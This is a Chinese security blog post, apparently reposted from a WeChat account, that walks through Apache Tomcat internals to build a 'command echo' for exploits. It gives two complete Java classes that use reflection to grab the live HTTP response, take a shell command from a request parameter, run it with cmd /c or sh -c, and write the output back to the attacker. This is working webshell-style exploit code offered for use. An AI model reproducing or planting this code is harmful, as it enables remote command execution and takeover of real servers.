从0到1如何制作寻找回显

admin 2022年4月1日02:20:09评论70 views字数 10910阅读36分22秒阅读模式

文章原因是近期爆的漏洞,有些需要自己去写回显,之前发过类似的,但是都是基于别人去写去分析的,当自己去找一个新的方向可能会不足。本文旨在从一个小白视角,一步步去详细的分析回显的原理,寻找,以及如何去写一个回显POC。适用于有一定框架和代码基础的同学。

半通用

从0到1如何制作寻找回显

我们知道回显往往伴随着response。所以我们主要是寻找当前调用栈中,哪些包含了response。其中要求必须要如下 (1)此调用的response,request必须是要内存中同一变量,观察下图1是否变化 (2)此变量必须要可控并能够通过反射获取到当前线程变量的response (3)为了防止变量的污染,我们最好是能获取线程变量,方便修改当前的response 对于我们来说,是肯定不会凭空构造出来一个responsed的,所以我们需要找到一个地方,他的某个字段存储了response,request,这也就是半通用的寻找思路,基于这个方法,我们持续向下寻找。

贴一下寻找路线AbstractProcessor   this.request = new Request();CoyoteAdapter       service(Request req, Response res)StandardEngineValve  invoke()AbstractAccessLogValve  invoke()ErrorReportValve    invoke(Request request, Response response)StandardHostValve   invoke(Request request, Response response)AuthenticatorBase    invoke(Request request, Response response)StandardContextValve invoke(Request request, Response response)StandardWrapperValve  invoke(Request request, Response response)ApplicationFilterChain doFilter(ServletRequest request, ServletResponse response)

从0到1如何制作寻找回显

当我们寻找到ApplicationFilterChain的变量时,发现了 

private static final ThreadLocal lastServicedRequest; 

private static final ThreadLocal lastServicedResponse; 

从命名上来看,好像是上一次服务的请求和回复,类型为ThreadLocal也就是保存在当前线程,接下来我们查看他和response,request是否有关联

从0到1如何制作寻找回显

页面搜索lastServicedResponse,发现如下代码 lastServicedRequest.set(reques

t); lastServicedResponse.set(response); 在internalDoFilter中调用

从0到1如何制作寻找回显

而我们观察internalDoFilter的调用链,发现刚好在doFilter中调用。那么就很明显了,我们可以从上面分析的response,request调用链完美走到这里来,赋值给lastServicedRequest,lastServicedResponse,然后我们利用反射获取lastServicedRequest,lastServicedResponse再对他进行修改就行了。

而调用lastServicedRequest.set(request),lastServicedResponse.set(response) 

需要满足ApplicationDispatcher.WRAP_SAME_OBJECT

从0到1如何制作寻找回显

而WRAP_SAME_OBJECT是一个bool类型的静态变量 static final boolean WRAP_SAME_OBJECT; 由STRICT_SERVLET_COMPLIANCE决定。

STRICT_SERVLET_COMPLIANCE = Boolean.parseBoolean(System.getProperty("org.apache.catalina.STRICT_SERVLET_COMPLIANCE", "false"));

我们可以利用反射直接修改他为true即可。

从0到1如何制作寻找回显

那么我们的利用思路就来了 

(1)修改WRAP_SAME_OBJECT为true(方便lastServicedRequest,lastServicedResponse赋值) 

(2)获取lastServicedRequest,lastServicedResponse中的resoponse。其中lastServicedResponse为ThreadLocal类型,我们可以调用ServletRequest.getParameter来获取传参,调用servletResponse.getWriter()来写入我们命令执行的结果。

接下来就来书写代码,由于我们需要获取的三个参数都是静态常量,所以选择静态常量的反射书写 

https://blog.csdn.net/baidu_24285051/article/details/115230102

最终实现代码如下package fileE0m;
import org.apache.catalina.connector.Request;
import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Modifier;import java.util.Locale;import java.util.Scanner;
public class e0mlja { public static Field RelfectionStatic(String className, String field) throws Exception { Field f = Class.forName(className).getDeclaredField(field); f.setAccessible(true); Field modifiers = Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(f, f.getModifiers() & ~Modifier.FINAL); return f; }
public void doRes(HttpServletRequest request, HttpServletResponse response) throws Exception { Field WRAP_SAME_OBJECT = RelfectionStatic("org.apache.catalina.core.ApplicationDispatcher","WRAP_SAME_OBJECT"); Field lastServicedRequest = RelfectionStatic("org.apache.catalina.core.ApplicationFilterChain","lastServicedRequest"); Field lastServicedResponse = RelfectionStatic("org.apache.catalina.core.ApplicationFilterChain","lastServicedResponse"); ThreadLocal<ServletResponse> resp = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null); ThreadLocal<ServletRequest> resq = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null); lastServicedRequest.set(null,new ThreadLocal<>()); lastServicedResponse.set(null,new ThreadLocal<>()); WRAP_SAME_OBJECT.setBoolean(null,true); ServletResponse pon = resp.get(); ServletRequest que = resq.get(); if (pon !=null && que.getParameter("e0mlja")!=null){ String cmd = que.getParameter("e0mlja"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")?new String[]{"cmd","/c",cmd}:new String[]{"sh","-c",cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("a"); String out = s.hasNext()?s.next():""; Writer w = pon.getWriter(); w.write(out); w.flush(); } }
}

从0到1如何制作寻找回显

全局通用

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3 

那么顺着这个思路,我们来看全局通用回显。老办法,还是从下往上看,最初的启动在于AbstractHttp11Processor中,他的父类AbstractProcessor中存储了request,response对象。

从0到1如何制作寻找回显

半通用是像后找,通用是向前(更偏向底层,所以我们向前寻找) 在AbstractProtocol.AbstractConnectionHandler#process方法中,新建了一个

processor Processor processor = (Processor)this.connections.get(socket);

而这个processor中包含了request,response,我们不关注socket如何去获取创建的

从0到1如何制作寻找回显

我们查看调试的字段,发现在Http11ConnectionHandler中存在一个RequestGroupInfo global,保存了相关的request,response信息,我们在Http11ConnectionHandler中没发现,在父类AbstractConnectionHandler中发现了

从0到1如何制作寻找回显

从0到1如何制作寻找回显

我们对RequestGroupInfo持续更新,发现

从0到1如何制作寻找回显从0到1如何制作寻找回显

从0到1如何制作寻找回显

发现目前通过以下途径,可以获取到response AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

继续 ,我们知道现在AbstractProtocol$ConnectoinHandler里面能保存respones的信息,所以我们需要寻找一个地方,能传入参数为AbstractProtocol和他的子类,方便获取response。看下面的截图,在 org.apache.catalina.connector.CoyoteAdapter中存在 Connector connector,Connector中存在ProtocolHandler,这个类是个接口,AbstractProtocol实现了该接口,所以我们的路径可以更改如下 Connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

从0到1如何制作寻找回显

继续向上,Connector的获取,我们发现this.connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)已经获取了service,并且为StandardService,之前分析过tomcat启动,并且百度也发现了StandardService是会自动添加Connector,所以如果我们获取了Connector也就相当于拥有了Connector。

从0到1如何制作寻找回显

从0到1如何制作寻找回显

从0到1如何制作寻找回显

StandardService->Connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response

如何获取StandardService呢,根据

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

来看,可以从当前的classloader中获取。

从0到1如何制作寻找回显

那其实就转化为了 WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupIn fo(global)--->RequestInfo------->Request-------->Response。一条路线,接下来我们利用反射,获取拼凑出我们需要的数据。接下来根据路线写回显

package org.joychou.controller;
import javafx.scene.transform.Scale;import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Response;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.catalina.loader.WebappClassLoader;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.Request;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;import org.joychou.security.SecurityUtil;import org.joychou.util.WebUtils;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.lang.reflect.Modifier;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Scanner;
@RestControllerpublic class ttt {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
public static Field RelfectionStatic(String className, String field) throws Exception { Field f = Class.forName(className).getDeclaredField(field); f.setAccessible(true); Field modifiers = Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(f, f.getModifiers() & ~Modifier.FINAL); return f; }
@GetMapping("/ttt") public void codeInject(HttpServletRequest request, HttpServletResponse response) throws Exception { WebappClassLoader webappclassLoaderbase = (WebappClassLoader) Thread.currentThread().getContextClassLoader(); //获取根加载器 StandardContext standardContext = (StandardContext) webappclassLoaderbase.getResources().getContext(); //获取TomcatEmbeddedContext(由于默认为defalut只能同包访问,所以用父类构造) Field context = RelfectionStatic("org.apache.catalina.core.StandardContext", "context"); ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext); //获取StandardContext的context字段的值,也就是applicationContext Field service = RelfectionStatic("org.apache.catalina.core.ApplicationContext", "service"); StandardService standardService = (StandardService) service.get(applicationContext); //获取service字段的值,也就是standardService Field connector = RelfectionStatic("org.apache.catalina.core.StandardService", "connectors"); Connector[] connectorall = (Connector[]) connector.get(standardService); for (Connector connectors:connectorall) { if (connectors.getScheme().equals("http")){ //获取connectors字段的值,也就是connector// Field protocolhandler = RelfectionStatic("org.apache.catalina.connector.Connector","ProtocolHandler");// AbstractProtocol abstractProtocol = (AbstractProtocol) protocolhandler.get(connectors);//// Field global = RelfectionStatic("") Class<?>[] AbstractProtocol_class = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses(); //因为有多个数组,且类型不同,所以我们利用泛型数组来构造。这里获取所有AbstractProtocol类的内部类,因为我们只需要ConnectionHandler中的global,所有需要判断类为AbstractProtocol.ConnectionHandler for (Class<?> AbstractProtocol_in : AbstractProtocol_class) { if (AbstractProtocol_in.getName().equals("org.apache.coyote.AbstractProtocol$ConnectionHandler")) { Method handlermethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null); handlermethod.setAccessible(true); AbstractEndpoint.Handler connectoinhandler = (AbstractEndpoint.Handler) handlermethod.invoke(connectors.getProtocolHandler(), null); //获取AbstractProtocol的getHandler方法返回当前的handler Field globe = AbstractProtocol_in.getDeclaredField("global"); globe.setAccessible(true); RequestGroupInfo requestGroupInfo = (RequestGroupInfo) globe.get(connectoinhandler); //获取requestGroupInfo,从handle中 Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); processors.setAccessible(true); ArrayList<RequestInfo> processor = (ArrayList<RequestInfo>) processors.get(requestGroupInfo); //获取RequestGroupInfo中的processors字段 Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); req.setAccessible(true); //获取RequestInfo中的req字段,也就是Request请求 for (RequestInfo requestInfo : processor) { Request request1 = (Request) req.get(requestInfo); org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1); //获取请求request String cmd = request2.getParameter("e0m"); if (!cmd.equals("")) { Response response1 = request2.getResponse(); //请求获取response
String[] cmds = {"cmd", "/c", cmd}; InputStream inputStream = new ProcessBuilder(cmds).start().getInputStream(); StringBuilder sb = new StringBuilder(""); byte[] bytes = new byte[1024]; int n = 0 ; while ((n=inputStream.read(bytes)) != -1){ sb.append(new String(bytes,0,n)); } response1.getWriter().write(sb.toString()); //获取命令执行结果并反馈到response中 }

} }
} }
}

}}

其中踩坑如下, 当没有添加connectors.getScheme().equals("http"),也就是协议没有确定的时候,第一次firefox可以成功,chrome会失败。离谱 执行命令的时候建议用ProcessBuilder去执行,否则会因为长度原因导致回显不全。



从0到1如何制作寻找回显

建议自己去动手做一下,不要做个只知道名字背的来原理而不会自己动手创作的人!

原文始发于微信公众号(e0m安全屋):从0到1如何制作寻找回显

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月1日02:20:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0到1如何制作寻找回显https://cn-sec.com/archives/858502.html

发表评论

匿名网友 填写信息